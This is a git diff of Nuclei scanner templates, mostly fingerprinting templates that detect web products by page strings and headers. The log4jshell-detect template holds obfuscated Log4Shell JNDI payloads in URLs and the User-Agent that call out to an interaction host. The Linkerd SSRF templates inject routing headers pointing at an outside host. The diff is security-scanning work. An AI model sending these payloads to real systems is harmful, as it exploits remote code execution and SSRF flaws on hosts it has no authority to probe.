+requests: + - method: GET + path: + - "{{BaseURL}}/home.html" + - "{{BaseURL}}/web/home.html" + - "{{BaseURL}}/index.html" + - "{{BaseURL}}/web/index.html" + - "{{BaseURL}}/web/manifest.json" + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - "name=\"application-name\" content=\"Jellyfin\"" + - "class=\"page homePage libraryPage allLibraryPage backdropPage pageWithAbsoluteTabs withTabs\"" + - "The Free Software Media System" + condition: or + part: body + - type: status + status: + - 200 diff --git a/poc/detect/jellyfin-detect-8259.yaml b/poc/detect/jellyfin-detect-8259.yaml deleted file mode 100644 index 9b31eaed43..0000000000 --- a/poc/detect/jellyfin-detect-8259.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: jellyfin-detect - -info: - name: Jellyfin detected - author: dwisiswant0 - severity: info - tags: tech,jellyfin - -requests: - - method: GET - path: - - "{{BaseURL}}/home.html" - - "{{BaseURL}}/web/home.html" - - "{{BaseURL}}/index.html" - - "{{BaseURL}}/web/index.html" - - "{{BaseURL}}/web/manifest.json" - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - words: - - "name=\"application-name\" content=\"Jellyfin\"" - - "class=\"page homePage libraryPage allLibraryPage backdropPage pageWithAbsoluteTabs withTabs\"" - - "The Free Software Media System" - condition: or - part: body - - - type: status - status: - - 200 diff --git a/poc/detect/jenkins-detect.yaml b/poc/detect/jenkins-detect.yaml index 2f9f2107a8..e2e0f6be0f 100644 --- a/poc/detect/jenkins-detect.yaml +++ b/poc/detect/jenkins-detect.yaml @@ -1,27 +1,51 @@ id: jenkins-detect + info: - name: Jenkins detect (version) - author: philippdelteil,daffainfo + name: Jenkins Detection + author: philippdelteil,daffainfo,c-sh0,AdamCrosser severity: info - tags: tech,jenkins -requests: + reference: + - https://www.jenkins.io/doc/book/using/remote-access-api/#RemoteaccessAPI-DetectingJenkinsversion + - https://github.com/jenkinsci/jenkins/pull/470 + - https://www.jenkins.io/doc/book/security/access-control/permissions/#access-granted-without-overallread + metadata: + max-request: 2 + vendor: jenkins + product: jenkins + shodan-query: http.favicon.hash:81586312 + category: devops + tags: tech,jenkins,detect + +http: - method: GET path: - "{{BaseURL}}" + - "{{BaseURL}}/whoAmI/" + + host-redirects: true + max-redirects: 2 + stop-at-first-match: true + matchers-condition: and matchers: - type: word - words: - - "X-Jenkins" - - "X-Jenkins-Session" part: header - condition: and + words: + - "x-jenkins:" + case-insensitive: true + - type: word words: - - "Dashboard [Jenkins]" - part: body + - "Jenkins" + extractors: - type: kval - part: header + name: version kval: - x_jenkins + + - type: kval + kval: + - version + +# digest: 4a0a0047304502206850e2d2714b465e034866eadc86daf9af89ae195c88f43053b1df5a84e1d48b02210097939ba146560b2c6ad9cd959d66715c59eccaf0618344b068031fa640ce67f0:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/jira-detect-8314.yaml b/poc/detect/jira-detect-8314.yaml index 15c0eed570..4f24793ad5 100644 --- a/poc/detect/jira-detect-8314.yaml +++ b/poc/detect/jira-detect-8314.yaml @@ -1,22 +1,12 @@ id: jira-detect info: - name: Jira Detect - author: pdteam,philippedelteil,AdamCrosser + name: Detect Jira Issue Management Software + author: pdteam,philippedelteil severity: info - description: Jira login panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 3 - vendor: atlassian - product: jira - category: productivity - tags: tech,panel,jira,atlassian + tags: panel,jira -http: +requests: - method: GET path: - "{{BaseURL}}/secure/Dashboard.jspa" @@ -24,7 +14,7 @@ http: - "{{BaseURL}}/login.jsp" stop-at-first-match: true - host-redirects: true + redirects: true max-redirects: 2 matchers: - type: word @@ -37,5 +27,3 @@ http: group: 1 regex: - 'title="JiraVersion" value="([0-9.]+)' - -# digest: 490a0046304402203f99e71e0681c665e3475c12a94f49aa95b84a20350aa939aaa56fb1da3f245b022054dbaf3c59f30928faa87819f2adc87784b746dae1e058bcaf38210a1bfa597d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/jira-detect-8316.yaml b/poc/detect/jira-detect-8316.yaml deleted file mode 100644 index 1816dae07e..0000000000 --- a/poc/detect/jira-detect-8316.yaml +++ /dev/null @@ -1,14 +0,0 @@ -id: jira-detect -info: - name: Detect Jira Issue Management Software - author: bauthard - severity: info -requests: - - method: GET - path: - - "{{BaseURL}}/secure/Dashboard.jspa" - - "{{BaseURL}}/jira/secure/Dashboard.jspa" - matchers: - - type: word - words: - - "Project Management Software" diff --git a/poc/detect/kevinlab-device-detect-8461.yaml b/poc/detect/kevinlab-device-detect-8461.yaml index 69729e9d9e..6d56bb0b3c 100644 --- a/poc/detect/kevinlab-device-detect-8461.yaml +++ b/poc/detect/kevinlab-device-detect-8461.yaml @@ -1,9 +1,9 @@ id: kevinlab-device-detect info: name: KevinLAB Devices Detection - description: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy management platform. KevinLAB's BEMS (Building Energy Management System) enables efficient energy management in buildings by collecting and analyzing various information of energy usage and facilities as well as efficiency and indoor environment control. author: gy741 severity: info + description: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy management platform. KevinLAB's BEMS (Building Energy Management System) enables efficient energy management in buildings by collecting and analyzing various information of energy usage and facilities as well as efficiency and indoor environment control. tags: iot,kevinlab requests: - method: GET diff --git a/poc/detect/kevinlab-device-detect.yaml b/poc/detect/kevinlab-device-detect.yaml deleted file mode 100644 index 6d56bb0b3c..0000000000 --- a/poc/detect/kevinlab-device-detect.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: kevinlab-device-detect -info: - name: KevinLAB Devices Detection - author: gy741 - severity: info - description: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy management platform. KevinLAB's BEMS (Building Energy Management System) enables efficient energy management in buildings by collecting and analyzing various information of energy usage and facilities as well as efficiency and indoor environment control. - tags: iot,kevinlab -requests: - - method: GET - path: - - "{{BaseURL}}/pages/" - - "{{BaseURL}}/dashboard/" - matchers-condition: or - matchers: - - type: word - words: - - 'BEMS' - - '../http/index.php' - part: body - condition: and - - type: word - words: - - 'HEMS' - - '../dashboard/proc.php' - part: body - condition: and diff --git a/poc/detect/kibana-detect-8483.yaml b/poc/detect/kibana-detect-8483.yaml new file mode 100644 index 0000000000..69f34a9162 --- /dev/null +++ b/poc/detect/kibana-detect-8483.yaml @@ -0,0 +1,21 @@ +id: kibana-detect +info: + name: Kibana Service Detection + author: petruknisme + severity: info + tags: tech,kibana +requests: + - method: GET + path: + - "{{BaseURL}}/login?next=%2F" + - "{{BaseURL}}/bundles/login.bundle.js" + - "{{BaseURL}}/bundles/kibana.style.css" + matchers: + - type: word + words: + - "Kibana" + - "kibanaLoaderWrap" + - "kibanaLoader" + - "xpack" + - "Elasticsearch B.V" + condition: or diff --git a/poc/detect/kibana-detect-8484.yaml b/poc/detect/kibana-detect-8484.yaml deleted file mode 100644 index 8f74ecc320..0000000000 --- a/poc/detect/kibana-detect-8484.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: kibana-detect -info: - name: Kibana Service Detection - author: petruknisme - severity: info -requests: - - method: GET - path: - - "{{BaseURL}}/login?next=%2F" - - "{{BaseURL}}/bundles/login.bundle.js" - - "{{BaseURL}}/bundles/kibana.style.css" - headers: - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 - matchers: - - type: word - words: - - "Kibana" - - "kibanaLoaderWrap" - - "kibanaLoader" - - "xpack" - - "Elasticsearch B.V" - condition: or diff --git a/poc/detect/kong-detect-8499.yaml b/poc/detect/kong-detect-8499.yaml deleted file mode 100644 index c735bf5a9b..0000000000 --- a/poc/detect/kong-detect-8499.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: kong-detect -info: - name: Detect Kong - author: geeknik - description: The Cloud-Native API Gateway - https://github.com/Kong/kong - severity: info -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers-condition: and - matchers: - - type: regex - part: header - regex: - - "[Ss]erver: [Kk]ong+" - extractors: - - type: kval - part: header - kval: - - server diff --git a/poc/detect/kong-detect-8500.yaml b/poc/detect/kong-detect-8500.yaml index 020de00c4e..2986a024d9 100644 --- a/poc/detect/kong-detect-8500.yaml +++ b/poc/detect/kong-detect-8500.yaml @@ -1,23 +1,27 @@ id: kong-detect info: name: Detect Kong - author: geeknik - description: The Cloud-Native API Gateway - reference: https://github.com/Kong/kong + author: geeknik,joshlarsen severity: info + description: The Cloud-Native API Gateway + reference: + - https://github.com/Kong/kong tags: tech,kong requests: - method: GET path: - "{{BaseURL}}" - matchers-condition: and matchers: - - type: regex + - type: word part: header - regex: - - "[Ss]erver: [Kk]ong+" + words: + - "server: kong" + - "x-kong-response-latency" + - "x-kong-upstream-latency" + - "x-kong-proxy-latency" + condition: or + case-insensitive: true extractors: - type: kval - part: header kval: - server diff --git a/poc/detect/kong-detect-8501.yaml b/poc/detect/kong-detect-8501.yaml index aa380e4267..c735bf5a9b 100644 --- a/poc/detect/kong-detect-8501.yaml +++ b/poc/detect/kong-detect-8501.yaml @@ -2,24 +2,18 @@ id: kong-detect info: name: Detect Kong author: geeknik - description: The Cloud-Native API Gateway - reference: https://github.com/Kong/kong + description: The Cloud-Native API Gateway - https://github.com/Kong/kong severity: info - tags: tech,kong - requests: - method: GET path: - "{{BaseURL}}" - matchers-condition: and matchers: - - type: regex part: header regex: - "[Ss]erver: [Kk]ong+" - extractors: - type: kval part: header diff --git a/poc/detect/leostream-detection.yaml b/poc/detect/leostream-detection.yaml index 7b96330a93..e9174a66cb 100644 --- a/poc/detect/leostream-detection.yaml +++ b/poc/detect/leostream-detection.yaml @@ -1,17 +1,22 @@ ---- id: leostream-panel info: - name: Leostream Panel + name: Leostream Panel Detect author: praetorian-thendrickson severity: info - tags: panel,vdi + reference: + - https://leostream.com + metadata: + shodan-query: http.title:"Leostream" + tags: panel,leostream requests: - method: GET path: - - '{{BaseURL}}/' + - '{{BaseURL}}' matchers-condition: and matchers: - type: word words: - - 'Leostream' - - 'https://www.leostream.com/perpetual-software-license-agreement/' + - '<title>Leostream' + - type: status + status: + - 200 diff --git a/poc/detect/leostream-detection.yml b/poc/detect/leostream-detection.yml new file mode 100644 index 0000000000..7b96330a93 --- /dev/null +++ b/poc/detect/leostream-detection.yml @@ -0,0 +1,17 @@ +--- +id: leostream-panel +info: + name: Leostream Panel + author: praetorian-thendrickson + severity: info + tags: panel,vdi +requests: + - method: GET + path: + - '{{BaseURL}}/' + matchers-condition: and + matchers: + - type: word + words: + - 'Leostream' + - 'https://www.leostream.com/perpetual-software-license-agreement/' diff --git a/poc/detect/liferay-portal-detect-8622.yaml b/poc/detect/liferay-portal-detect-8622.yaml index 16c2ae299c..ffe66c1e6a 100644 --- a/poc/detect/liferay-portal-detect-8622.yaml +++ b/poc/detect/liferay-portal-detect-8622.yaml @@ -1,18 +1,16 @@ id: liferay-portal-detect - info: name: Liferay Portal Detection author: organiccrap,dwisiswant0 severity: info - reference: https://github.com/mzer0one/CVE-2020-7961-POC # CVE-2020-7961: Liferay Portal Unauthenticated RCE + reference: + - https://github.com/mzer0one/CVE-2020-7961-POC tags: tech,liferay - requests: - method: GET path: - '{{BaseURL}}/api/jsonws' - '{{BaseURL}}/api/jsonws/invoke' - matchers: - type: word words: diff --git a/poc/detect/liferay-portal-detect-8626.yaml b/poc/detect/liferay-portal-detect-8626.yaml new file mode 100644 index 0000000000..16c2ae299c --- /dev/null +++ b/poc/detect/liferay-portal-detect-8626.yaml @@ -0,0 +1,23 @@ +id: liferay-portal-detect + +info: + name: Liferay Portal Detection + author: organiccrap,dwisiswant0 + severity: info + reference: https://github.com/mzer0one/CVE-2020-7961-POC # CVE-2020-7961: Liferay Portal Unauthenticated RCE + tags: tech,liferay + +requests: + - method: GET + path: + - '{{BaseURL}}/api/jsonws' + - '{{BaseURL}}/api/jsonws/invoke' + + matchers: + - type: word + words: + - <title>json-web-services-api + - There are no services matching that phrase. + - Unable to deserialize object + condition: or + part: body diff --git a/poc/detect/linkerd-badrule-detect-8629.yaml b/poc/detect/linkerd-badrule-detect-8629.yaml new file mode 100644 index 0000000000..55df05c4a3 --- /dev/null +++ b/poc/detect/linkerd-badrule-detect-8629.yaml @@ -0,0 +1,38 @@ +id: linkerd-badrule-detect +# Detect the Linkerd service by overriding the delegation table with an invalid +# rule, the presence of the service is indicated by either: +# - a "Via: .. linkerd .." +# - a "l5d-err" and/or a "l5d-success" header +# - a literal error in the body +info: + name: Linkerd detection via bad rule + author: dudez + severity: info +requests: + - method: GET + path: + - "{{BaseURL}}" + headers: + l5d-dtab: /svc/* + matchers-condition: or + matchers: + - type: regex + name: via-linkerd-present + regex: + - '(?mi)^Via\s*?:.*?linkerd.*$' + part: header + - type: regex + name: l5d-err-present + regex: + - '(?mi)^l5d-err:.*$' + part: header + - type: regex + name: l5d-success-class-present + regex: + - '(?mi)^l5d-success-class: 0.*$' + part: header + - type: word + name: body-error-present + words: + - 'expected but end of input found at' + part: body diff --git a/poc/detect/linkerd-badrule-detect-8630.yaml b/poc/detect/linkerd-badrule-detect-8630.yaml index 55df05c4a3..c167ec7580 100644 --- a/poc/detect/linkerd-badrule-detect-8630.yaml +++ b/poc/detect/linkerd-badrule-detect-8630.yaml @@ -1,13 +1,10 @@ id: linkerd-badrule-detect -# Detect the Linkerd service by overriding the delegation table with an invalid -# rule, the presence of the service is indicated by either: -# - a "Via: .. linkerd .." -# - a "l5d-err" and/or a "l5d-success" header -# - a literal error in the body info: name: Linkerd detection via bad rule author: dudez severity: info + tags: tech,linkerd + reference: https://linkerd.io requests: - method: GET path: diff --git a/poc/detect/linkerd-detect-8633.yaml b/poc/detect/linkerd-detect-8633.yaml index 5816787485..997442786d 100644 --- a/poc/detect/linkerd-detect-8633.yaml +++ b/poc/detect/linkerd-detect-8633.yaml @@ -1,17 +1,23 @@ id: linkerd-badrule-detect + info: name: Linkerd detection via bad rule author: dudez severity: info reference: - https://linkerd.io + metadata: + max-request: 1 tags: tech,linkerd -requests: + +http: - method: GET path: - "{{BaseURL}}" + headers: l5d-dtab: /svc/* + matchers-condition: or matchers: - type: regex @@ -19,18 +25,23 @@ requests: regex: - '(?mi)^Via\s*?:.*?linkerd.*$' part: header + - type: regex name: l5d-err-present regex: - '(?mi)^l5d-err:.*$' part: header + - type: regex name: l5d-success-class-present regex: - '(?mi)^l5d-success-class: 0.*$' part: header + - type: word name: body-error-present words: - 'expected but end of input found at' part: body + +# digest: 4a0a004730450220711a7316d8285590ed7b528beaf9885333c7690a3425e13ddbd7c18976c9871b022100f8c8ae75135a62963d28a570d44a3e3d59e12ec260098fac55084c11f55d55c0:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/linkerd-service-detect-8634.yaml b/poc/detect/linkerd-service-detect-8634.yaml new file mode 100644 index 0000000000..afdd9f67dc --- /dev/null +++ b/poc/detect/linkerd-service-detect-8634.yaml @@ -0,0 +1,28 @@ +id: linkerd-service-detect +info: + name: Linkerd Service detection + author: dudez + severity: info + tags: tech,linkerd + reference: https://twitter.com/nirvana_msu/status/1084144955034165248 +requests: + - method: GET + path: + - "{{BaseURL}}" + headers: + l5d-dtab: /svc/* => /$/inet/example.com/443 + matchers-condition: or + matchers: + - type: regex + regex: + - '(?mi)^l5d-err:.*$' + - '(?mi)^l5d-success-class: 0.*$' + - '(?mi)^Via\s*?:.*?linkerd.*$' + part: header + condition: or + - type: regex + regex: + - '(?mi)Exceeded .*? binding timeout while resolving name' + - '(?mi)exceeded .*? to unspecified while dyn binding' + part: body + condition: or diff --git a/poc/detect/linkerd-service-detect.yaml b/poc/detect/linkerd-service-detect.yaml index afdd9f67dc..068fd47928 100644 --- a/poc/detect/linkerd-service-detect.yaml +++ b/poc/detect/linkerd-service-detect.yaml @@ -3,14 +3,15 @@ info: name: Linkerd Service detection author: dudez severity: info - tags: tech,linkerd - reference: https://twitter.com/nirvana_msu/status/1084144955034165248 + reference: + - https://twitter.com/nirvana_msu/status/1084144955034165248 + tags: tech,linkerd,service requests: - method: GET path: - "{{BaseURL}}" headers: - l5d-dtab: /svc/* => /$/inet/example.com/443 + l5d-dtab: /svc/* => /$/inet/interact.sh/443 matchers-condition: or matchers: - type: regex diff --git a/poc/detect/linkerd-ssrf-detect-8637.yaml b/poc/detect/linkerd-ssrf-detect-8637.yaml index b5b4b06ffd..67b2df29ac 100644 --- a/poc/detect/linkerd-ssrf-detect-8637.yaml +++ b/poc/detect/linkerd-ssrf-detect-8637.yaml @@ -1,14 +1,20 @@ id: linkerd-ssrf-detection + info: name: Linkerd SSRF detection author: dudez severity: high - tags: ssrf,linkerd,oast - reference: https://twitter.com/nirvana_msu/status/1084144955034165248 -requests: + reference: + - https://twitter.com/nirvana_msu/status/1084144955034165248 + metadata: + max-request: 1 + tags: ssrf,linkerd,oast,misconfig + +http: - method: GET path: - "{{BaseURL}}" + headers: l5d-dtab: /svc/* => /$/inet/{{interactsh-url}}/443 matchers: @@ -16,3 +22,5 @@ requests: part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" + +# digest: 4a0a0047304502202fddbeeef3f76706a6549e15a314b91d56e28a76da2b08b2c4e3829e6f4484c2022100f56dacb9c72ef61ebcd523e0931c9fdc2454c96ba4e441eed2b3cc61ac8a3bac:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/linkerd-ssrf-detect-8639.yaml b/poc/detect/linkerd-ssrf-detect-8639.yaml index 16b0eb2d0f..638ccc9d70 100644 --- a/poc/detect/linkerd-ssrf-detect-8639.yaml +++ b/poc/detect/linkerd-ssrf-detect-8639.yaml @@ -17,10 +17,11 @@ info: name: Linkerd SSRF detection author: dudez severity: info + tags: ssrf,linkerd requests: - method: GET path: - - "{{BaseURL}}/" + - "{{BaseURL}}" headers: l5d-dtab: /svc/* => /$/inet/example.com/443 matchers-condition: or diff --git a/poc/detect/log4jshell-detect.yaml b/poc/detect/log4jshell-detect.yaml index f88514b5eb..abc8d83968 100644 --- a/poc/detect/log4jshell-detect.yaml +++ b/poc/detect/log4jshell-detect.yaml @@ -1,10 +1,8 @@ id: log4jshell-detect - info: name: Log4j Detect for Logs author: ELSFA7110 severity: high - requests: - method: GET path: @@ -16,11 +14,9 @@ requests: - "{{BaseURL}}/?test=${${lower:${lower:jndi}}:${lower:rmi}://{{interactsh-url}}/poc}" - "{{BaseURL}}/?test=${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{interactsh-url}}/poc}" - "{{BaseURL}}/?test=${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{interactsh-url}}/poc}" - headers: Host: "{{Host}}" User-Agent: "Mozilla ${jndi:ldap://{{interactsh-url}}/a}" - matchers-condition: or matchers: - type: word @@ -28,7 +24,6 @@ requests: name: http words: - "http" - - type: word part: interactsh_protocol name: dns diff --git a/poc/detect/lucee-detect-8661.yaml b/poc/detect/lucee-detect-8659.yaml similarity index 100% rename from poc/detect/lucee-detect-8661.yaml rename to poc/detect/lucee-detect-8659.yaml diff --git a/poc/detect/lucee-detect-8660.yaml b/poc/detect/lucee-detect-8660.yaml index c6751e5e62..2c1f03eee3 100644 --- a/poc/detect/lucee-detect-8660.yaml +++ b/poc/detect/lucee-detect-8660.yaml @@ -4,12 +4,10 @@ info: author: geeknik description: Lucee Server is a dynamic, Java based (JSR-223), tag and scripting language used for rapid web application development -- https://github.com/lucee/Lucee/ severity: info - tags: tech,lucee requests: - method: GET path: - "{{BaseURL}}" - matchers-condition: and matchers: - type: regex part: header @@ -18,6 +16,3 @@ requests: - "(?i)X-CB-Server: LUCEE" - "(?i)X-IDG-Appserver: Lucee" condition: or - - type: status - status: - - 200 diff --git a/poc/detect/magento-detect-8704.yaml b/poc/detect/magento-detect-8704.yaml deleted file mode 100644 index d36b857d68..0000000000 --- a/poc/detect/magento-detect-8704.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: magento-detect -info: - name: Magento Detect - author: TechbrunchFR - severity: info - description: Identify Magento - tags: magento -requests: - - method: GET - path: - - '{{BaseURL}}' - - '{{BaseURL}}/graphql?query=+{customerDownloadableProducts+{+items+{+date+download_url}}+}' - # There might be a better way to do that, the idea of this check is that Magento might be behind some kind of proxy when - # consumed by a SPA/PWA app so we need a valid GraphQL query from Magento to check - # https://devdocs.magento.com/guides/v2.4/graphql/ - matchers-condition: or - matchers: - - type: dsl - dsl: - - 'contains(tolower(all_headers), "x-magento")' - - 'status_code == 200' - condition: and - - type: dsl - dsl: - - 'contains(body, "graphql-authorization")' - - 'contains(body, "The current customer")' - - 'status_code == 200' - condition: and diff --git a/poc/detect/magento-detect-8707.yaml b/poc/detect/magento-detect-8707.yaml new file mode 100644 index 0000000000..88ae92ea5f --- /dev/null +++ b/poc/detect/magento-detect-8707.yaml @@ -0,0 +1,30 @@ +id: magento-detect +info: + name: Magento Detect + author: TechbrunchFR + severity: info + description: Identify Magento + reference: + - https://devdocs.magento.com/guides/v2.4/graphql/ + tags: magento +requests: + - method: GET + path: + - '{{BaseURL}}' + - '{{BaseURL}}/graphql?query=+{customerDownloadableProducts+{+items+{+date+download_url}}+}' + # There might be a better way to do that, the idea of this check is that Magento might be behind some kind of proxy when + # consumed by a SPA/PWA app, so we need a valid GraphQL query from Magento to check reference[1] + + matchers-condition: or + matchers: + - type: dsl + dsl: + - 'contains(tolower(all_headers), "x-magento")' + - 'status_code == 200' + condition: and + - type: dsl + dsl: + - 'contains(body, "graphql-authorization")' + - 'contains(body, "The current customer")' + - 'status_code == 200' + condition: and diff --git a/poc/detect/magmi-detect-8715.yaml b/poc/detect/magmi-detect-8715.yaml deleted file mode 100644 index 33c5df2af9..0000000000 --- a/poc/detect/magmi-detect-8715.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: magmi-detect - -info: - name: MAGMI (Magento Mass Importer) Plugin Detect - author: dwisiswant0 - severity: info - metadata: - verified: true - max-request: 1 - shodan-query: http.component:"Magento" - tags: magento,magmi,plugin,tech - -http: - - method: GET - path: - - "{{BaseURL}}/magmi/web/js/magmi_utils.js" - - matchers-condition: and - matchers: - - type: word - words: - - "magmi_multifield" - part: body - - - type: status - status: - - 200 - -# digest: 490a0046304402200acdc7f786b8e096fd058e601526668418183ee1b87f56230379078322fc28700220599161d4f1f996d3545747f730c3465aedc42bfc25a40499617490737d1b3ad7:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/magmi-detect-8716.yaml b/poc/detect/magmi-detect-8716.yaml index 7e14b04b5d..b78bd29310 100644 --- a/poc/detect/magmi-detect-8716.yaml +++ b/poc/detect/magmi-detect-8716.yaml @@ -3,9 +3,6 @@ info: name: MAGMI (Magento Mass Importer) Plugin Detect author: dwisiswant0 severity: info - metadata: - verified: true - shodan-query: http.component:"Magento" tags: magento,magmi,plugin requests: - method: GET diff --git a/poc/detect/maian-cart-detect-8719.yaml b/poc/detect/maian-cart-detect-8719.yaml new file mode 100644 index 0000000000..3a2cb6539a --- /dev/null +++ b/poc/detect/maian-cart-detect-8719.yaml @@ -0,0 +1,21 @@ +id: maian-cart-detect + +info: + name: Maian Cart Detection + author: pdteam + severity: info + metadata: + max-request: 1 + tags: tech,maian + +http: + - method: GET + path: + - "{{BaseURL}}/favicon.ico" + + matchers: + - type: dsl + dsl: + - "status_code==200 && (\"-498581627\" == mmh3(base64_py(body)))" + +# digest: 4a0a00473045022100e561e4e6ed1454f48ccb0838792b0dcd7ae727a17005837cb5c0b44b95f0c049022025056a8fb89ba70f825ee0b63cf9d9176dc5b01f5ce26bd348ba3cd49c68789d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/maian-cart-detect.yaml b/poc/detect/maian-cart-detect.yaml deleted file mode 100644 index 6a61745979..0000000000 --- a/poc/detect/maian-cart-detect.yaml +++ /dev/null @@ -1,14 +0,0 @@ -id: maian-cart-detect -info: - name: Maian Cart Detection - author: pdteam - severity: info - tags: tech,maian -requests: - - method: GET - path: - - "{{BaseURL}}/favicon.ico" - matchers: - - type: dsl - dsl: - - "status_code==200 && (\"-498581627\" == mmh3(base64_py(body)))" diff --git a/poc/detect/mailoney-honeypot-detect.yaml b/poc/detect/mailoney-honeypot-detect.yaml new file mode 100644 index 0000000000..5f1defcd34 --- /dev/null +++ b/poc/detect/mailoney-honeypot-detect.yaml @@ -0,0 +1,30 @@ +id: mailoney-honeypot-detect + +info: + name: Mailoney Honeypot - Detect + author: UnaPibaGeek + severity: info + description: | + A Mailoney (SMTP) honeypot has been identified. + The response to the 'HELP' command differs from real installations, signaling a possible deceptive setup. + metadata: + max-request: 1 + product: exim + vendor: mailoney + tags: mailoney,exim,smtp,honeypot,ir,cti,network + +tcp: + - inputs: + - data: "HELP\r\n" + read: 1024 + + host: + - "{{Hostname}}" + port: 25 + read-size: 1024 + + matchers: + - type: word + words: + - "502 Error: command \"HELP\" not implemented" +# digest: 4a0a00473045022100c4cd1ba3059e6e4a131db4b30595229314b315314785789ea7c572aa8d493620022036d268ff5a8d9336f5c420a606f8466de7a2b92ec2eeabaeedf4b295ad38097a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/meilisearch-detect.yaml b/poc/detect/meilisearch-detect.yaml new file mode 100644 index 0000000000..e5593da0b4 --- /dev/null +++ b/poc/detect/meilisearch-detect.yaml @@ -0,0 +1,29 @@ +id: meilisearch-detect + +info: + name: Meilisearch - Detect + author: userdehghani + severity: info + description: | + An open-source, blazingly fast, and hyper-relevant search engine that will improve your search experience. + reference: + - https://www.meilisearch.com/ + metadata: + verified: true + max-request: 1 + fofa-query: app="meilisearch" + tags: meilisearch,detect,tech + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: dsl + dsl: + - 'status_code == 200' + - 'contains(body, "Meilisearch is running")' + condition: and +# digest: 4a0a00473045022100babc8ffda11e34e8975a3e213cfb32312927b85bd14d40abe1d6b551aa91f4fb022075789999bea0d5ec76b5432eb14265895e6d1ab536fc369f029715755ff4d853:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/microsoft-exchange-server-detect-8851.yaml b/poc/detect/microsoft-exchange-server-detect-8851.yaml new file mode 100644 index 0000000000..a07f331300 --- /dev/null +++ b/poc/detect/microsoft-exchange-server-detect-8851.yaml @@ -0,0 +1,32 @@ +id: microsoft-exchange-server-detect + +info: + name: Microsoft Exchange Server Detect + author: pikpikcu,dhiyaneshDK + severity: info + reference: https://github.com/GossiTheDog/scanning/blob/main/http-vuln-exchange.nse + description: Check for Exchange Server CVEs CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065, using Outlook Web App path data. + tags: microsoft,exchange,tech + +requests: + - method: GET + path: + - "{{BaseURL}}/owa/auth/logon.aspx" + + matchers-condition: or + matchers: + + - type: regex + regex: + - "(X-Owa-Version:|/owa/auth/15.2.*|/owa/auth/15.1.*|/owa/auth/15.0.*|/owa/auth/14.0.*)" + part: all + + - type: word + words: + - 'Exchange Log In' + - 'Microsoft Exchange - Outlook Web Access' + + extractors: + - type: kval + kval: + - X_Owa_Version diff --git a/poc/detect/microsoft-exchange-server-detect.yaml b/poc/detect/microsoft-exchange-server-detect.yaml index a07f331300..618c16c426 100644 --- a/poc/detect/microsoft-exchange-server-detect.yaml +++ b/poc/detect/microsoft-exchange-server-detect.yaml @@ -1,31 +1,26 @@ id: microsoft-exchange-server-detect - info: name: Microsoft Exchange Server Detect author: pikpikcu,dhiyaneshDK severity: info - reference: https://github.com/GossiTheDog/scanning/blob/main/http-vuln-exchange.nse description: Check for Exchange Server CVEs CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065, using Outlook Web App path data. + reference: + - https://github.com/GossiTheDog/scanning/blob/main/http-vuln-exchange.nse tags: microsoft,exchange,tech - requests: - method: GET path: - "{{BaseURL}}/owa/auth/logon.aspx" - matchers-condition: or matchers: - - type: regex regex: - "(X-Owa-Version:|/owa/auth/15.2.*|/owa/auth/15.1.*|/owa/auth/15.0.*|/owa/auth/14.0.*)" - part: all - + part: response - type: word words: - 'Exchange Log In' - 'Microsoft Exchange - Outlook Web Access' - extractors: - type: kval kval: diff --git a/poc/detect/microweber-detect-8863.yaml b/poc/detect/microweber-detect-8863.yaml deleted file mode 100644 index 52947ee5a2..0000000000 --- a/poc/detect/microweber-detect-8863.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: microweber-detect - -info: - name: Microweber Detect - author: princechaddha - severity: info - reference: - - https://github.com/microweber/microweber - metadata: - max-request: 1 - shodan-query: http.favicon.hash:780351152 - tags: tech,microweber,oss - -http: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"generator" content="Microweber" />' - - - type: status - status: - - 200 - -# digest: 490a0046304402200d363b411e7ba5a9a8385045c6324b8b1e2ef7452bfefd53daa432ac4722c4f802200f8f8472e00aa021a7c47e526b5fdeeab111961625c1d715d9a7e550e1d948fa:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/microweber-detect.yaml b/poc/detect/microweber-detect.yaml new file mode 100644 index 0000000000..64a576d65e --- /dev/null +++ b/poc/detect/microweber-detect.yaml @@ -0,0 +1,23 @@ +id: microweber-detect +info: + name: Microweber Detect + author: princechaddha + severity: info + reference: + - https://github.com/microweber/microweber + metadata: + shodan-query: http.favicon.hash:780351152 + tags: tech,microweber,oss +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"generator" content="Microweber" />' + - type: status + status: + - 200 diff --git a/poc/detect/mikrotik-ftp-server-detect.yaml b/poc/detect/mikrotik-ftp-server-detect.yaml new file mode 